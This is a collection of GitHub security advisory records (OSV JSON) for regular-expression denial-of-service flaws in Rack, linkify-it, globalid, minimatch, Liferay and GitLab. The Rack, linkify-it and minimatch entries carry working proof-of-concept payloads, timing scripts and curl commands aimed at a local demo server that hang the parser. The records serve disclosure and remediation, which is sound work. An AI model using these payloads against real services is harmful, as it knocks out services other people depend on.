CWE-1333

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    "severity": "MODERATE"
  },
  "details": "### Summary\n\n```ruby\nmodule Rack\n  class MediaType\n    SPLIT_PATTERN = %r{\\s*[;,]\\s*}\n```\nThe above regexp is subject to ReDos. 50K blank characters as a prefix to the header will take over 10s to split.\n\n### PoC\n\nA simple HTTP request with lots of blank characters in the content-type header:\n\n```ruby\nrequest[\"Content-Type\"] = (\" \" * 50_000) + \"a,\"\n```\n\n### Impact\n\nIt\u0027s a very easy to craft ReDoS. Like all ReDoS the impact is debatable.",
  "id": "GHSA-22f2-v57c-j9cx",
  "modified": "2024-06-10T18:30:52Z",
  "published": "2024-02-28T22:57:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-22f2-v57c-j9cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25126"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/6efb2ceea003c4b195815a614e00438cbd543462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/commit/d9c163a443b8cadf4711d84bd2c58cb9ef89cf49"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/denial-of-service-vulnerability-in-rack-content-type-parsing/84941"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2024-25126.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240510-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack vulnerable to ReDoS in content type parsing (2nd degree polynomial)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "linkify-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:47:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`LinkifyIt.prototype.match` \u2014 the package\u0027s primary public API \u2014 has **O(N\u00b2) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it\u0027s a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time \u2014 textbook O(N\u00b2).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` \u2014 `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** \u2014 the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N\u00b2) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` \u2014 O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 \u2014 full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 \u2014 full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 \u2014 full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `\u03a3(N - i*c) for i=0..N = O(N\u00b2)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` \u2014 linear. The fuzzy branches don\u0027t follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport LinkifyIt from \u0027linkify-it\u0027\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = \u0027a@b.com\\n\u0027.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N \u2192 ~4\u00d7 wall-clock, consistent with O(N\u00b2).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require(\u0027markdown-it\u0027)({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = \u0027a@b.com \u0027.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log(\u0027n=\u0027 + n + \u0027 bytes=\u0027 + evil.length + \u0027 md.render=\u0027 + ms.toFixed(0) + \u0027ms\u0027)\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path \u2014 Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it \u2014 receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic \u2014 convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely \u2014 advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way \u2014 it\u0027s the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` \u2192 `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` \u2192 `{}`)\n- markdown-it\u0027s only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it\u0027s own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.",
  "id": "GHSA-22p9-wv53-3rq4",
  "modified": "2026-06-26T20:47:58Z",
  "published": "2026-06-26T20:47:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/markdown-it/linkify-it"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LinkifyIt#match scan loop has quadratic algorithmic complexity"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "globalid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.1"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-22799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-18T18:13:19Z",
    "nvd_published_at": "2023-02-09T20:15:00Z",
    "severity": "LOW"
  },
  "details": "There is a ReDoS based DoS vulnerability in the GlobalID gem. This vulnerability has been assigned the CVE identifier CVE-2023-22799.\n\nVersions Affected: \u003e= 0.2.1 Not affected: NOTAFFECTED Fixed Versions: 1.0.1\nImpact\n\nThere is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.\nReleases\n\nThe FIXED releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n    1-0-model-name-redos.patch - Patch for 1.0 series\n",
  "id": "GHSA-23c2-gwp5-pxw9",
  "modified": "2023-09-18T20:31:36Z",
  "published": "2023-01-18T18:13:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/globalid/commit/4a75ecbfd73a8e92e32a1723b81a17e3136bd8fc"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2023-22799-possible-redos-based-dos-vulnerability-in-globalid/82127"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/globalid"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/globalid/releases/tag/v1.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/globalid/CVE-2023-22799.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "ReDoS based DoS vulnerability in GlobalID"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:07:15Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern              | Generated regex                          |\n|----------------------|------------------------------------------|\n| `*(a\\|b)`            | `/^(?:a\\|b)*$/`                          |\n| `*(*(a\\|b))`         | `/^(?:(?:a\\|b)*)*$/`                     |\n| `*(*(*(a\\|b)))`      | `/^(?:(?:(?:a\\|b)*)*)*$/`               |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/`          |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern              | Input              | Time       |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))`         | `a` x30 + `z`      | ~68,000ms  |\n| `*(*(*(a\\|b)))`      | `a` x20 + `z`      | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z`      | ~116,000ms |\n| `*(a\\|a)`            | `a` x25 + `z`      | ~2,000ms   |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern              | Time         |\n|-------|----------------------|--------------|\n| 1     | `*(a\\|b)`            | 0ms          |\n| 2     | `*(*(a\\|b))`         | 4ms          |\n| 3     | `*(*(*(a\\|b)))`      | 270ms        |\n| 4     | `*(*(*(*(a\\|b))))` | 115,000ms    |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n  const s = process.hrtime.bigint()\n  let result, error\n  try { result = fn() } catch(e) { error = e }\n  const ms = Number(process.hrtime.bigint() - s) / 1e6\n  return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n  let pat = \u0027a|b\u0027\n  for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n  console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n  [\u0027*(*(*(a|b)))\u0027, 15],   // ~270ms\n  [\u0027*(*(*(a|b)))\u0027, 17],   // ~800ms\n  [\u0027*(*(*(a|b)))\u0027, 19],   // ~2400ms\n  [\u0027*(*(a|b))\u0027,    23],   // ~260ms\n  [\u0027*(a|b)\u0027,      101],   // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n  const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n  console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\"    n=23: 257ms result=false\n\"*(a|b)\"       n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n  const url     = new URL(req.url, `http://localhost:${PORT}`)\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
  "id": "GHSA-23c5-xmqv-rm74",
  "modified": "2026-02-26T22:07:15Z",
  "published": "2026-02-26T22:07:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay:com.liferay.portal.workflow.kaleo.designer.web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.145"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T20:47:51Z",
    "nvd_published_at": "2025-08-23T05:15:30Z",
    "severity": "MODERATE"
  },
  "details": "Self-ReDoS (Regular expression Denial of Service) exists with Role Name search field of Kaleo Designer portlet JavaScript in Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.1, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.1 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.20 and 7.4 GA through update 92, which allows authenticated users with permissions to update Kaleo Workflows to enter a malicious Regex pattern causing their browser to hang for a very long time.",
  "id": "GHSA-23w4-rpc6-wpcc",
  "modified": "2025-08-25T20:47:51Z",
  "published": "2025-08-23T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/12a076172494707748325836b3d5236507be0490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.atlassian.net/browse/LPE-18148"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43764"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal ReDoS with Role Name search in KaleoDesignerPortlet"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-12T01:15:57Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab EE affecting all versions before 16.8.6, all versions starting from 16.9 before 16.9.4, all versions starting from 16.10 before 16.10.2. It was possible for an attacker to cause a  denial of service using malicious crafted content in a junit test report file.",
  "id": "GHSA-26wq-535g-r2w5",
  "modified": "2024-04-12T03:30:42Z",
  "published": "2024-04-12T03:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6678"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2268037"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/434689"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}